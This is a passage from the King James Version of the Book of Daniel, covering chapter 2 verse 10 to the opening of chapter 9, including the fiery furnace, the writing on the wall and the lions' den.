magician, or +astrologer, or Chaldean. + +2:11 And it is a rare thing that the king requireth, and there is none +other that can shew it before the king, except the gods, whose +dwelling is not with flesh. + +2:12 For this cause the king was angry and very furious, and commanded +to destroy all the wise men of Babylon. + +2:13 And the decree went forth that the wise men should be slain; and +they sought Daniel and his fellows to be slain. + +2:14 Then Daniel answered with counsel and wisdom to Arioch the +captain of the king's guard, which was gone forth to slay the wise men +of Babylon: 2:15 He answered and said to Arioch the king's captain, +Why is the decree so hasty from the king? Then Arioch made the thing +known to Daniel. + +2:16 Then Daniel went in, and desired of the king that he would give +him time, and that he would shew the king the interpretation. + +2:17 Then Daniel went to his house, and made the thing known to +Hananiah, Mishael, and Azariah, his companions: 2:18 That they would +desire mercies of the God of heaven concerning this secret; that +Daniel and his fellows should not perish with the rest of the wise men +of Babylon. + +2:19 Then was the secret revealed unto Daniel in a night vision. Then +Daniel blessed the God of heaven. + +2:20 Daniel answered and said, Blessed be the name of God for ever and +ever: for wisdom and might are his: 2:21 And he changeth the times and +the seasons: he removeth kings, and setteth up kings: he giveth wisdom +unto the wise, and knowledge to them that know understanding: 2:22 He +revealeth the deep and secret things: he knoweth what is in the +darkness, and the light dwelleth with him. + +2:23 I thank thee, and praise thee, O thou God of my fathers, who hast +given me wisdom and might, and hast made known unto me now what we +desired of thee: for thou hast now made known unto us the king's +matter. + +2:24 Therefore Daniel went in unto Arioch, whom the king had ordained +to destroy the wise men of Babylon: he went and said thus unto him; +Destroy not the wise men of Babylon: bring me in before the king, and +I will shew unto the king the interpretation. + +2:25 Then Arioch brought in Daniel before the king in haste, and said +thus unto him, I have found a man of the captives of Judah, that will +make known unto the king the interpretation. + +2:26 The king answered and said to Daniel, whose name was +Belteshazzar, Art thou able to make known unto me the dream which I +have seen, and the interpretation thereof? 2:27 Daniel answered in +the presence of the king, and said, The secret which the king hath +demanded cannot the wise men, the astrologers, the magicians, the +soothsayers, shew unto the king; 2:28 But there is a God in heaven +that revealeth secrets, and maketh known to the king Nebuchadnezzar +what shall be in the latter days. Thy dream, and the visions of thy +head upon thy bed, are these; 2:29 As for thee, O king, thy thoughts +came into thy mind upon thy bed, what should come to pass hereafter: +and he that revealeth secrets maketh known to thee what shall come to +pass. + +2:30 But as for me, this secret is not revealed to me for any wisdom +that I have more than any living, but for their sakes that shall make +known the interpretation to the king, and that thou mightest know the +thoughts of thy heart. + +2:31 Thou, O king, sawest, and behold a great image. This great image, +whose brightness was excellent, stood before thee; and the form +thereof was terrible. + +2:32 This image's head was of fine gold, his breast and his arms of +silver, his belly and his thighs of brass, 2:33 His legs of iron, his +feet part of iron and part of clay. + +2:34 Thou sawest till that a stone was cut out without hands, which +smote the image upon his feet that were of iron and clay, and brake +them to pieces. + +2:35 Then was the iron, the clay, the brass, the silver, and the gold, +broken to pieces together, and became like the chaff of the summer +threshingfloors; and the wind carried them away, that no place was +found for them: and the stone that smote the image became a great +mountain, and filled the whole earth. + +2:36 This is the dream; and we will tell the interpretation thereof +before the king. + +2:37 Thou, O king, art a king of kings: for the God of heaven hath +given thee a kingdom, power, and strength, and glory. + +2:38 And wheresoever the children of men dwell, the beasts of the +field and the fowls of the heaven hath he given into thine hand, and +hath made thee ruler over them all. Thou art this head of gold. + +2:39 And after thee shall arise another kingdom inferior to thee, and +another third kingdom of brass, which shall bear rule over all the +earth. + +2:40 And the fourth kingdom shall be strong as iron: forasmuch as iron +breaketh in pieces and subdueth all things: and as iron that breaketh +all these, shall it break in pieces and bruise. + +2:41 And whereas thou sawest the feet and toes, part of potters' clay, +and part of iron, the kingdom shall be divided; but there shall be in +it of the strength of the iron, forasmuch as thou sawest the iron +mixed with miry clay. + +2:42 And as the toes of the feet were part of iron, and part of clay, +so the kingdom shall be partly strong, and partly broken. + +2:43 And whereas thou sawest iron mixed with miry clay, they shall +mingle themselves with the seed of men: but they shall not cleave one +to another, even as iron is not mixed with clay. + +2:44 And in the days of these kings shall the God of heaven set up a +kingdom, which shall never be destroyed: and the kingdom shall not be +left to other people, but it shall break in pieces and consume all +these kingdoms, and it shall stand for ever. + +2:45 Forasmuch as thou sawest that the stone was cut out of the +mountain without hands, and that it brake in pieces the iron, the +brass, the clay, the silver, and the gold; the great God hath made +known to the king what shall come to pass hereafter: and the dream is +certain, and the interpretation thereof sure. + +2:46 Then the king Nebuchadnezzar fell upon his face, and worshipped +Daniel, and commanded that they should offer an oblation and sweet +odours unto him. + +2:47 The king answered unto Daniel, and said, Of a truth it is, that +your God is a God of gods, and a Lord of kings, and a revealer of +secrets, seeing thou couldest reveal this secret. + +2:48 Then the king made Daniel a great man, and gave him many great +gifts, and made him ruler over the whole province of Babylon, and +chief of the governors over all the wise men of Babylon. + +2:49 Then Daniel requested of the king, and he set Shadrach, Meshach, +and Abednego, over the affairs of the province of Babylon: but Daniel +sat in the gate of the king. + +3:1 Nebuchadnezzar the king made an image of gold, whose height was +threescore cubits, and the breadth thereof six cubits: he set it up in +the plain of Dura, in the province of Babylon. + +3:2 Then Nebuchadnezzar the king sent to gather together the princes, +the governors, and the captains, the judges, the treasurers, the +counsellors, the sheriffs, and all the rulers of the provinces, to +come to the dedication of the image which Nebuchadnezzar the king had +set up. + +3:3 Then the princes, the governors, and captains, the judges, the +treasurers, the counsellors, the sheriffs, and all the rulers of the +provinces, were gathered together unto the dedication of the image +that Nebuchadnezzar the king had set up; and they stood before the +image that Nebuchadnezzar had set up. + +3:4 Then an herald cried aloud, To you it is commanded, O people, +nations, and languages, 3:5 That at what time ye hear the sound of the +cornet, flute, harp, sackbut, psaltery, dulcimer, and all kinds of +musick, ye fall down and worship the golden image that Nebuchadnezzar +the king hath set up: 3:6 And whoso falleth not down and worshippeth +shall the same hour be cast into the midst of a burning fiery furnace. + +3:7 Therefore at that time, when all the people heard the sound of the +cornet, flute, harp, sackbut, psaltery, and all kinds of musick, all +the people, the nations, and the languages, fell down and worshipped +the golden image that Nebuchadnezzar the king had set up. + +3:8 Wherefore at that time certain Chaldeans came near, and accused +the Jews. + +3:9 They spake and said to the king Nebuchadnezzar, O king, live for +ever. + +3:10 Thou, O king, hast made a decree, that every man that shall hear +the sound of the cornet, flute, harp, sackbut, psaltery, and dulcimer, +and all kinds of musick, shall fall down and worship the golden image: +3:11 And whoso falleth not down and worshippeth, that he should be +cast into the midst of a burning fiery furnace. + +3:12 There are certain Jews whom thou hast set over the affairs of the +province of Babylon, Shadrach, Meshach, and Abednego; these men, O +king, have not regarded thee: they serve not thy gods, nor worship the +golden image which thou hast set up. + +3:13 Then Nebuchadnezzar in his rage and fury commanded to bring +Shadrach, Meshach, and Abednego. Then they brought these men before +the king. + +3:14 Nebuchadnezzar spake and said unto them, Is it true, O Shadrach, +Meshach, and Abednego, do not ye serve my gods, nor worship the golden +image which I have set up? 3:15 Now if ye be ready that at what time +ye hear the sound of the cornet, flute, harp, sackbut, psaltery, and +dulcimer, and all kinds of musick, ye fall down and worship the image +which I have made; well: but if ye worship not, ye shall be cast the +same hour into the midst of a burning fiery furnace; and who is that +God that shall deliver you out of my hands? 3:16 Shadrach, Meshach, +and Abednego, answered and said to the king, O Nebuchadnezzar, we are +not careful to answer thee in this matter. + +3:17 If it be so, our God whom we serve is able to deliver us from the +burning fiery furnace, and he will deliver us out of thine hand, O +king. + +3:18 But if not, be it known unto thee, O king, that we will not serve +thy gods, nor worship the golden image which thou hast set up. + +3:19 Then was Nebuchadnezzar full of fury, and the form of his visage +was changed against Shadrach, Meshach, and Abednego: therefore he +spake, and commanded that they should heat the furnace one seven times +more than it was wont to be heated. + +3:20 And he commanded the most mighty men that were in his army to +bind Shadrach, Meshach, and Abednego, and to cast them into the +burning fiery furnace. + +3:21 Then these men were bound in their coats, their hosen, and their +hats, and their other garments, and were cast into the midst of the +burning fiery furnace. + +3:22 Therefore because the king's commandment was urgent, and the +furnace exceeding hot, the flames of the fire slew those men that took +up Shadrach, Meshach, and Abednego. + +3:23 And these three men, Shadrach, Meshach, and Abednego, fell down +bound into the midst of the burning fiery furnace. + +3:24 Then Nebuchadnezzar the king was astonied, and rose up in haste, +and spake, and said unto his counsellors, Did not we cast three men +bound into the midst of the fire? They answered and said unto the +king, True, O king. + +3:25 He answered and said, Lo, I see four men loose, walking in the +midst of the fire, and they have no hurt; and the form of the fourth +is like the Son of God. + +3:26 Then Nebuchadnezzar came near to the mouth of the burning fiery +furnace, and spake, and said, Shadrach, Meshach, and Abednego, ye +servants of the most high God, come forth, and come hither. Then +Shadrach, Meshach, and Abednego, came forth of the midst of the fire. + +3:27 And the princes, governors, and captains, and the king's +counsellors, being gathered together, saw these men, upon whose bodies +the fire had no power, nor was an hair of their head singed, neither +were their coats changed, nor the smell of fire had passed on them. + +3:28 Then Nebuchadnezzar spake, and said, Blessed be the God of +Shadrach, Meshach, and Abednego, who hath sent his angel, and +delivered his servants that trusted in him, and have changed the +king's word, and yielded their bodies, that they might not serve nor +worship any god, except their own God. + +3:29 Therefore I make a decree, That every people, nation, and +language, which speak any thing amiss against the God of Shadrach, +Meshach, and Abednego, shall be cut in pieces, and their houses shall +be made a dunghill: because there is no other God that can deliver +after this sort. + +3:30 Then the king promoted Shadrach, Meshach, and Abednego, in the +province of Babylon. + +4:1 Nebuchadnezzar the king, unto all people, nations, and languages, +that dwell in all the earth; Peace be multiplied unto you. + +4:2 I thought it good to shew the signs and wonders that the high God +hath wrought toward me. + +4:3 How great are his signs! and how mighty are his wonders! his +kingdom is an everlasting kingdom, and his dominion is from generation +to generation. + +4:4 I Nebuchadnezzar was at rest in mine house, and flourishing in my +palace: 4:5 I saw a dream which made me afraid, and the thoughts upon +my bed and the visions of my head troubled me. + +4:6 Therefore made I a decree to bring in all the wise men of Babylon +before me, that they might make known unto me the interpretation of +the dream. + +4:7 Then came in the magicians, the astrologers, the Chaldeans, and +the soothsayers: and I told the dream before them; but they did not +make known unto me the interpretation thereof. + +4:8 But at the last Daniel came in before me, whose name was +Belteshazzar, according to the name of my God, and in whom is the +spirit of the holy gods: and before him I told the dream, saying, 4:9 +O Belteshazzar, master of the magicians, because I know that the +spirit of the holy gods is in thee, and no secret troubleth thee, tell +me the visions of my dream that I have seen, and the interpretation +thereof. + +4:10 Thus were the visions of mine head in my bed; I saw, and behold a +tree in the midst of the earth, and the height thereof was great. + +4:11 The tree grew, and was strong, and the height thereof reached +unto heaven, and the sight thereof to the end of all the earth: 4:12 +The leaves thereof were fair, and the fruit thereof much, and in it +was meat for all: the beasts of the field had shadow under it, and the +fowls of the heaven dwelt in the boughs thereof, and all flesh was fed +of it. + +4:13 I saw in the visions of my head upon my bed, and, behold, a +watcher and an holy one came down from heaven; 4:14 He cried aloud, +and said thus, Hew down the tree, and cut off his branches, shake off +his leaves, and scatter his fruit: let the beasts get away from under +it, and the fowls from his branches: 4:15 Nevertheless leave the stump +of his roots in the earth, even with a band of iron and brass, in the +tender grass of the field; and let it be wet with the dew of heaven, +and let his portion be with the beasts in the grass of the earth: 4:16 +Let his heart be changed from man's, and let a beast's heart be given +unto him; and let seven times pass over him. + +4:17 This matter is by the decree of the watchers, and the demand by +the word of the holy ones: to the intent that the living may know that +the most High ruleth in the kingdom of men, and giveth it to +whomsoever he will, and setteth up over it the basest of men. + +4:18 This dream I king Nebuchadnezzar have seen. Now thou, O +Belteshazzar, declare the interpretation thereof, forasmuch as all the +wise men of my kingdom are not able to make known unto me the +interpretation: but thou art able; for the spirit of the holy gods is +in thee. + +4:19 Then Daniel, whose name was Belteshazzar, was astonied for one +hour, and his thoughts troubled him. The king spake, and said, +Belteshazzar, let not the dream, or the interpretation thereof, +trouble thee. Belteshazzar answered and said, My lord, the dream be to +them that hate thee, and the interpretation thereof to thine enemies. + +4:20 The tree that thou sawest, which grew, and was strong, whose +height reached unto the heaven, and the sight thereof to all the +earth; 4:21 Whose leaves were fair, and the fruit thereof much, and in +it was meat for all; under which the beasts of the field dwelt, and +upon whose branches the fowls of the heaven had their habitation: 4:22 +It is thou, O king, that art grown and become strong: for thy +greatness is grown, and reacheth unto heaven, and thy dominion to the +end of the earth. + +4:23 And whereas the king saw a watcher and an holy one coming down +from heaven, and saying, Hew the tree down, and destroy it; yet leave +the stump of the roots thereof in the earth, even with a band of iron +and brass, in the tender grass of the field; and let it be wet with +the dew of heaven, and let his portion be with the beasts of the +field, till seven times pass over him; 4:24 This is the +interpretation, O king, and this is the decree of the most High, which +is come upon my lord the king: 4:25 That they shall drive thee from +men, and thy dwelling shall be with the beasts of the field, and they +shall make thee to eat grass as oxen, and they shall wet thee with the +dew of heaven, and seven times shall pass over thee, till thou know +that the most High ruleth in the kingdom of men, and giveth it to +whomsoever he will. + +4:26 And whereas they commanded to leave the stump of the tree roots; +thy kingdom shall be sure unto thee, after that thou shalt have known +that the heavens do rule. + +4:27 Wherefore, O king, let my counsel be acceptable unto thee, and +break off thy sins by righteousness, and thine iniquities by shewing +mercy to the poor; if it may be a lengthening of thy tranquillity. + +4:28 All this came upon the king Nebuchadnezzar. + +4:29 At the end of twelve months he walked in the palace of the +kingdom of Babylon. + +4:30 The king spake, and said, Is not this great Babylon, that I have +built for the house of the kingdom by the might of my power, and for +the honour of my majesty? 4:31 While the word was in the king's +mouth, there fell a voice from heaven, saying, O king Nebuchadnezzar, +to thee it is spoken; The kingdom is departed from thee. + +4:32 And they shall drive thee from men, and thy dwelling shall be +with the beasts of the field: they shall make thee to eat grass as +oxen, and seven times shall pass over thee, until thou know that the +most High ruleth in the kingdom of men, and giveth it to whomsoever he +will. + +4:33 The same hour was the thing fulfilled upon Nebuchadnezzar: and he +was driven from men, and did eat grass as oxen, and his body was wet +with the dew of heaven, till his hairs were grown like eagles' +feathers, and his nails like birds' claws. + +4:34 And at the end of the days I Nebuchadnezzar lifted up mine eyes +unto heaven, and mine understanding returned unto me, and I blessed +the most High, and I praised and honoured him that liveth for ever, +whose dominion is an everlasting dominion, and his kingdom is from +generation to generation: 4:35 And all the inhabitants of the earth +are reputed as nothing: and he doeth according to his will in the army +of heaven, and among the inhabitants of the earth: and none can stay +his hand, or say unto him, What doest thou? 4:36 At the same time my +reason returned unto me; and for the glory of my kingdom, mine honour +and brightness returned unto me; and my counsellors and my lords +sought unto me; and I was established in my kingdom, and excellent +majesty was added unto me. + +4:37 Now I Nebuchadnezzar praise and extol and honour the King of +heaven, all whose works are truth, and his ways judgment: and those +that walk in pride he is able to abase. + +5:1 Belshazzar the king made a great feast to a thousand of his lords, +and drank wine before the thousand. + +5:2 Belshazzar, whiles he tasted the wine, commanded to bring the +golden and silver vessels which his father Nebuchadnezzar had taken +out of the temple which was in Jerusalem; that the king, and his +princes, his wives, and his concubines, might drink therein. + +5:3 Then they brought the golden vessels that were taken out of the +temple of the house of God which was at Jerusalem; and the king, and +his princes, his wives, and his concubines, drank in them. + +5:4 They drank wine, and praised the gods of gold, and of silver, of +brass, of iron, of wood, and of stone. + +5:5 In the same hour came forth fingers of a man's hand, and wrote +over against the candlestick upon the plaister of the wall of the +king's palace: and the king saw the part of the hand that wrote. + +5:6 Then the king's countenance was changed, and his thoughts troubled +him, so that the joints of his loins were loosed, and his knees smote +one against another. + +5:7 The king cried aloud to bring in the astrologers, the Chaldeans, +and the soothsayers. And the king spake, and said to the wise men of +Babylon, Whosoever shall read this writing, and shew me the +interpretation thereof, shall be clothed with scarlet, and have a +chain of gold about his neck, and shall be the third ruler in the +kingdom. + +5:8 Then came in all the king's wise men: but they could not read the +writing, nor make known to the king the interpretation thereof. + +5:9 Then was king Belshazzar greatly troubled, and his countenance was +changed in him, and his lords were astonied. + +5:10 Now the queen by reason of the words of the king and his lords +came into the banquet house: and the queen spake and said, O king, +live for ever: let not thy thoughts trouble thee, nor let thy +countenance be changed: 5:11 There is a man in thy kingdom, in whom is +the spirit of the holy gods; and in the days of thy father light and +understanding and wisdom, like the wisdom of the gods, was found in +him; whom the king Nebuchadnezzar thy father, the king, I say, thy +father, made master of the magicians, astrologers, Chaldeans, and +soothsayers; 5:12 Forasmuch as an excellent spirit, and knowledge, and +understanding, interpreting of dreams, and shewing of hard sentences, +and dissolving of doubts, were found in the same Daniel, whom the king +named Belteshazzar: now let Daniel be called, and he will shew the +interpretation. + +5:13 Then was Daniel brought in before the king. And the king spake +and said unto Daniel, Art thou that Daniel, which art of the children +of the captivity of Judah, whom the king my father brought out of +Jewry? 5:14 I have even heard of thee, that the spirit of the gods is +in thee, and that light and understanding and excellent wisdom is +found in thee. + +5:15 And now the wise men, the astrologers, have been brought in +before me, that they should read this writing, and make known unto me +the interpretation thereof: but they could not shew the interpretation +of the thing: 5:16 And I have heard of thee, that thou canst make +interpretations, and dissolve doubts: now if thou canst read the +writing, and make known to me the interpretation thereof, thou shalt +be clothed with scarlet, and have a chain of gold about thy neck, and +shalt be the third ruler in the kingdom. + +5:17 Then Daniel answered and said before the king, Let thy gifts be +to thyself, and give thy rewards to another; yet I will read the +writing unto the king, and make known to him the interpretation. + +5:18 O thou king, the most high God gave Nebuchadnezzar thy father a +kingdom, and majesty, and glory, and honour: 5:19 And for the majesty +that he gave him, all people, nations, and languages, trembled and +feared before him: whom he would he slew; and whom he would he kept +alive; and whom he would he set up; and whom he would he put down. + +5:20 But when his heart was lifted up, and his mind hardened in pride, +he was deposed from his kingly throne, and they took his glory from +him: 5:21 And he was driven from the sons of men; and his heart was +made like the beasts, and his dwelling was with the wild asses: they +fed him with grass like oxen, and his body was wet with the dew of +heaven; till he knew that the most high God ruled in the kingdom of +men, and that he appointeth over it whomsoever he will. + +5:22 And thou his son, O Belshazzar, hast not humbled thine heart, +though thou knewest all this; 5:23 But hast lifted up thyself against +the Lord of heaven; and they have brought the vessels of his house +before thee, and thou, and thy lords, thy wives, and thy concubines, +have drunk wine in them; and thou hast praised the gods of silver, and +gold, of brass, iron, wood, and stone, which see not, nor hear, nor +know: and the God in whose hand thy breath is, and whose are all thy +ways, hast thou not glorified: 5:24 Then was the part of the hand sent +from him; and this writing was written. + +5:25 And this is the writing that was written, MENE, MENE, TEKEL, +UPHARSIN. + +5:26 This is the interpretation of the thing: MENE; God hath numbered +thy kingdom, and finished it. + +5:27 TEKEL; Thou art weighed in the balances, and art found wanting. + +5:28 PERES; Thy kingdom is divided, and given to the Medes and +Persians. + +5:29 Then commanded Belshazzar, and they clothed Daniel with scarlet, +and put a chain of gold about his neck, and made a proclamation +concerning him, that he should be the third ruler in the kingdom. + +5:30 In that night was Belshazzar the king of the Chaldeans slain. + +5:31 And Darius the Median took the kingdom, being about threescore +and two years old. + +6:1 It pleased Darius to set over the kingdom an hundred and twenty +princes, which should be over the whole kingdom; 6:2 And over these +three presidents; of whom Daniel was first: that the princes might +give accounts unto them, and the king should have no damage. + +6:3 Then this Daniel was preferred above the presidents and princes, +because an excellent spirit was in him; and the king thought to set +him over the whole realm. + +6:4 Then the presidents and princes sought to find occasion against +Daniel concerning the kingdom; but they could find none occasion nor +fault; forasmuch as he was faithful, neither was there any error or +fault found in him. + +6:5 Then said these men, We shall not find any occasion against this +Daniel, except we find it against him concerning the law of his God. + +6:6 Then these presidents and princes assembled together to the king, +and said thus unto him, King Darius, live for ever. + +6:7 All the presidents of the kingdom, the governors, and the princes, +the counsellors, and the captains, have consulted together to +establish a royal statute, and to make a firm decree, that whosoever +shall ask a petition of any God or man for thirty days, save of thee, +O king, he shall be cast into the den of lions. + +6:8 Now, O king, establish the decree, and sign the writing, that it +be not changed, according to the law of the Medes and Persians, which +altereth not. + +6:9 Wherefore king Darius signed the writing and the decree. + +6:10 Now when Daniel knew that the writing was signed, he went into +his house; and his windows being open in his chamber toward Jerusalem, +he kneeled upon his knees three times a day, and prayed, and gave +thanks before his God, as he did aforetime. + +6:11 Then these men assembled, and found Daniel praying and making +supplication before his God. + +6:12 Then they came near, and spake before the king concerning the +king's decree; Hast thou not signed a decree, that every man that +shall ask a petition of any God or man within thirty days, save of +thee, O king, shall be cast into the den of lions? The king answered +and said, The thing is true, according to the law of the Medes and +Persians, which altereth not. + +6:13 Then answered they and said before the king, That Daniel, which +is of the children of the captivity of Judah, regardeth not thee, O +king, nor the decree that thou hast signed, but maketh his petition +three times a day. + +6:14 Then the king, when he heard these words, was sore displeased +with himself, and set his heart on Daniel to deliver him: and he +laboured till the going down of the sun to deliver him. + +6:15 Then these men assembled unto the king, and said unto the king, +Know, O king, that the law of the Medes and Persians is, That no +decree nor statute which the king establisheth may be changed. + +6:16 Then the king commanded, and they brought Daniel, and cast him +into the den of lions. Now the king spake and said unto Daniel, Thy +God whom thou servest continually, he will deliver thee. + +6:17 And a stone was brought, and laid upon the mouth of the den; and +the king sealed it with his own signet, and with the signet of his +lords; that the purpose might not be changed concerning Daniel. + +6:18 Then the king went to his palace, and passed the night fasting: +neither were instruments of musick brought before him: and his sleep +went from him. + +6:19 Then the king arose very early in the morning, and went in haste +unto the den of lions. + +6:20 And when he came to the den, he cried with a lamentable voice +unto Daniel: and the king spake and said to Daniel, O Daniel, servant +of the living God, is thy God, whom thou servest continually, able to +deliver thee from the lions? 6:21 Then said Daniel unto the king, O +king, live for ever. + +6:22 My God hath sent his angel, and hath shut the lions' mouths, that +they have not hurt me: forasmuch as before him innocency was found in +me; and also before thee, O king, have I done no hurt. + +6:23 Then was the king exceedingly glad for him, and commanded that +they should take Daniel up out of the den. So Daniel was taken up out +of the den, and no manner of hurt was found upon him, because he +believed in his God. + +6:24 And the king commanded, and they brought those men which had +accused Daniel, and they cast them into the den of lions, them, their +children, and their wives; and the lions had the mastery of them, and +brake all their bones in pieces or ever they came at the bottom of the +den. + +6:25 Then king Darius wrote unto all people, nations, and languages, +that dwell in all the earth; Peace be multiplied unto you. + +6:26 I make a decree, That in every dominion of my kingdom men tremble +and fear before the God of Daniel: for he is the living God, and +stedfast for ever, and his kingdom that which shall not be destroyed, +and his dominion shall be even unto the end. + +6:27 He delivereth and rescueth, and he worketh signs and wonders in +heaven and in earth, who hath delivered Daniel from the power of the +lions. + +6:28 So this Daniel prospered in the reign of Darius, and in the reign +of Cyrus the Persian. + +7:1 In the first year of Belshazzar king of Babylon Daniel had a dream +and visions of his head upon his bed: then he wrote the dream, and +told the sum of the matters. + +7:2 Daniel spake and said, I saw in my vision by night, and, behold, +the four winds of the heaven strove upon the great sea. + +7:3 And four great beasts came up from the sea, diverse one from +another. + +7:4 The first was like a lion, and had eagle's wings: I beheld till +the wings thereof were plucked, and it was lifted up from the earth, +and made stand upon the feet as a man, and a man's heart was given to +it. + +7:5 And behold another beast, a second, like to a bear, and it raised +up itself on one side, and it had three ribs in the mouth of it +between the teeth of it: and they said thus unto it, Arise, devour +much flesh. + +7:6 After this I beheld, and lo another, like a leopard, which had +upon the back of it four wings of a fowl; the beast had also four +heads; and dominion was given to it. + +7:7 After this I saw in the night visions, and behold a fourth beast, +dreadful and terrible, and strong exceedingly; and it had great iron +teeth: it devoured and brake in pieces, and stamped the residue with +the feet of it: and it was diverse from all the beasts that were +before it; and it had ten horns. + +7:8 I considered the horns, and, behold, there came up among them +another little horn, before whom there were three of the first horns +plucked up by the roots: and, behold, in this horn were eyes like the +eyes of man, and a mouth speaking great things. + +7:9 I beheld till the thrones were cast down, and the Ancient of days +did sit, whose garment was white as snow, and the hair of his head +like the pure wool: his throne was like the fiery flame, and his +wheels as burning fire. + +7:10 A fiery stream issued and came forth from before him: thousand +thousands ministered unto him, and ten thousand times ten thousand +stood before him: the judgment was set, and the books were opened. + +7:11 I beheld then because of the voice of the great words which the +horn spake: I beheld even till the beast was slain, and his body +destroyed, and given to the burning flame. + +7:12 As concerning the rest of the beasts, they had their dominion +taken away: yet their lives were prolonged for a season and time. + +7:13 I saw in the night visions, and, behold, one like the Son of man +came with the clouds of heaven, and came to the Ancient of days, and +they brought him near before him. + +7:14 And there was given him dominion, and glory, and a kingdom, that +all people, nations, and languages, should serve him: his dominion is +an everlasting dominion, which shall not pass away, and his kingdom +that which shall not be destroyed. + +7:15 I Daniel was grieved in my spirit in the midst of my body, and +the visions of my head troubled me. + +7:16 I came near unto one of them that stood by, and asked him the +truth of all this. So he told me, and made me know the interpretation +of the things. + +7:17 These great beasts, which are four, are four kings, which shall +arise out of the earth. + +7:18 But the saints of the most High shall take the kingdom, and +possess the kingdom for ever, even for ever and ever. + +7:19 Then I would know the truth of the fourth beast, which was +diverse from all the others, exceeding dreadful, whose teeth were of +iron, and his nails of brass; which devoured, brake in pieces, and +stamped the residue with his feet; 7:20 And of the ten horns that were +in his head, and of the other which came up, and before whom three +fell; even of that horn that had eyes, and a mouth that spake very +great things, whose look was more stout than his fellows. + +7:21 I beheld, and the same horn made war with the saints, and +prevailed against them; 7:22 Until the Ancient of days came, and +judgment was given to the saints of the most High; and the time came +that the saints possessed the kingdom. + +7:23 Thus he said, The fourth beast shall be the fourth kingdom upon +earth, which shall be diverse from all kingdoms, and shall devour the +whole earth, and shall tread it down, and break it in pieces. + +7:24 And the ten horns out of this kingdom are ten kings that shall +arise: and another shall rise after them; and he shall be diverse from +the first, and he shall subdue three kings. + +7:25 And he shall speak great words against the most High, and shall +wear out the saints of the most High, and think to change times and +laws: and they shall be given into his hand until a time and times and +the dividing of time. + +7:26 But the judgment shall sit, and they shall take away his +dominion, to consume and to destroy it unto the end. + +7:27 And the kingdom and dominion, and the greatness of the kingdom +under the whole heaven, shall be given to the people of the saints of +the most High, whose kingdom is an everlasting kingdom, and all +dominions shall serve and obey him. + +7:28 Hitherto is the end of the matter. As for me Daniel, my +cogitations much troubled me, and my countenance changed in me: but I +kept the matter in my heart. + +8:1 In the third year of the reign of king Belshazzar a vision +appeared unto me, even unto me Daniel, after that which appeared unto +me at the first. + +8:2 And I saw in a vision; and it came to pass, when I saw, that I was +at Shushan in the palace, which is in the province of Elam; and I saw +in a vision, and I was by the river of Ulai. + +8:3 Then I lifted up mine eyes, and saw, and, behold, there stood +before the river a ram which had two horns: and the two horns were +high; but one was higher than the other, and the higher came up last. + +8:4 I saw the ram pushing westward, and northward, and southward; so +that no beasts might stand before him, neither was there any that +could deliver out of his hand; but he did according to his will, and +became great. + +8:5 And as I was considering, behold, an he goat came from the west on +the face of the whole earth, and touched not the ground: and the goat +had a notable horn between his eyes. + +8:6 And he came to the ram that had two horns, which I had seen +standing before the river, and ran unto him in the fury of his power. + +8:7 And I saw him come close unto the ram, and he was moved with +choler against him, and smote the ram, and brake his two horns: and +there was no power in the ram to stand before him, but he cast him +down to the ground, and stamped upon him: and there was none that +could deliver the ram out of his hand. + +8:8 Therefore the he goat waxed very great: and when he was strong, +the great horn was broken; and for it came up four notable ones toward +the four winds of heaven. + +8:9 And out of one of them came forth a little horn, which waxed +exceeding great, toward the south, and toward the east, and toward the +pleasant land. + +8:10 And it waxed great, even to the host of heaven; and it cast down +some of the host and of the stars to the ground, and stamped upon +them. + +8:11 Yea, he magnified himself even to the prince of the host, and by +him the daily sacrifice was taken away, and the place of the sanctuary +was cast down. + +8:12 And an host was given him against the daily sacrifice by reason +of transgression, and it cast down the truth to the ground; and it +practised, and prospered. + +8:13 Then I heard one saint speaking, and another saint said unto that +certain saint which spake, How long shall be the vision concerning the +daily sacrifice, and the transgression of desolation, to give both the +sanctuary and the host to be trodden under foot? 8:14 And he said +unto me, Unto two thousand and three hundred days; then shall the +sanctuary be cleansed. + +8:15 And it came to pass, when I, even I Daniel, had seen the vision, +and sought for the meaning, then, behold, there stood before me as the +appearance of a man. + +8:16 And I heard a man's voice between the banks of Ulai, which +called, and said, Gabriel, make this man to understand the vision. + +8:17 So he came near where I stood: and when he came, I was afraid, +and fell upon my face: but he said unto me, Understand, O son of man: +for at the time of the end shall be the vision. + +8:18 Now as he was speaking with me, I was in a deep sleep on my face +toward the ground: but he touched me, and set me upright. + +8:19 And he said, Behold, I will make thee know what shall be in the +last end of the indignation: for at the time appointed the end shall +be. + +8:20 The ram which thou sawest having two horns are the kings of Media +and Persia. + +8:21 And the rough goat is the king of Grecia: and the great horn that +is between his eyes is the first king. + +8:22 Now that being broken, whereas four stood up for it, four +kingdoms shall stand up out of the nation, but not in his power. + +8:23 And in the latter time of their kingdom, when the transgressors +are come to the full, a king of fierce countenance, and understanding +dark sentences, shall stand up. + +8:24 And his power shall be mighty, but not by his own power: and he +shall destroy wonderfully, and shall prosper, and practise, and shall +destroy the mighty and the holy people. + +8:25 And through his policy also he shall cause craft to prosper in +his hand; and he shall magnify himself in his heart, and by peace +shall destroy many: he shall also stand up against the Prince of +princes; but he shall be broken without hand. + +8:26 And the vision of the evening and the morning which was told is +true: wherefore shut thou up the vision; for it shall be for many +days. + +8:27 And I Daniel fainted, and was sick certain days; afterward I rose +up, and did the king's business; and I was astonished at the vision, +but none understood it. + +9:1 In the first year of Darius the son of Ahasuerus, of the seed of +the Medes, which was made king over the realm of the Chaldeans; 9:2 In +the first year of his reign I Daniel understood by books the number of +the years, whereof the word of the LORD came to Jeremiah the prophet, +that he would accomplish seventy years in the desolations of +Jerusalem. + +9:3 And I set my face unto the Lord God, to seek by prayer and +supplications, with fasting, and sackcloth, and ashes: 9:4 And I +prayed unto the LORD my God, and made my confession, and said, O Lord, +the great and dreadful God, keeping the covenant and mercy to them +that love him, and to them that keep his commandments; 9:5 We have +sinned, and have committed iniquity, and have done wickedly, and have +rebelled, even by departing from thy precepts and from thy judgments: +9:6 Neither have we hearkened unto thy servants the prophets, which +spake in thy name to our kings, our princes, and our fathers, and to +all the people of the land. + +9:7 O LORD, righteousness belongeth unto thee, but unto us confusion +of faces, as at this day; to the men of Judah, and to the inhabitants +of Jerusalem, and unto all Israel, that are near, and that are far +off, through all the countries whither thou hast driven them, because +of their trespass that they have trespassed against thee. + +9:8 O Lord, to us belongeth confusion of face, to our kings, to our +princes, and to our fathers, because we have sinned against thee. + +9:9 To the Lord our God belong mercies and forgivenesses, though we +have rebelled against him; 9:10 Neither have we 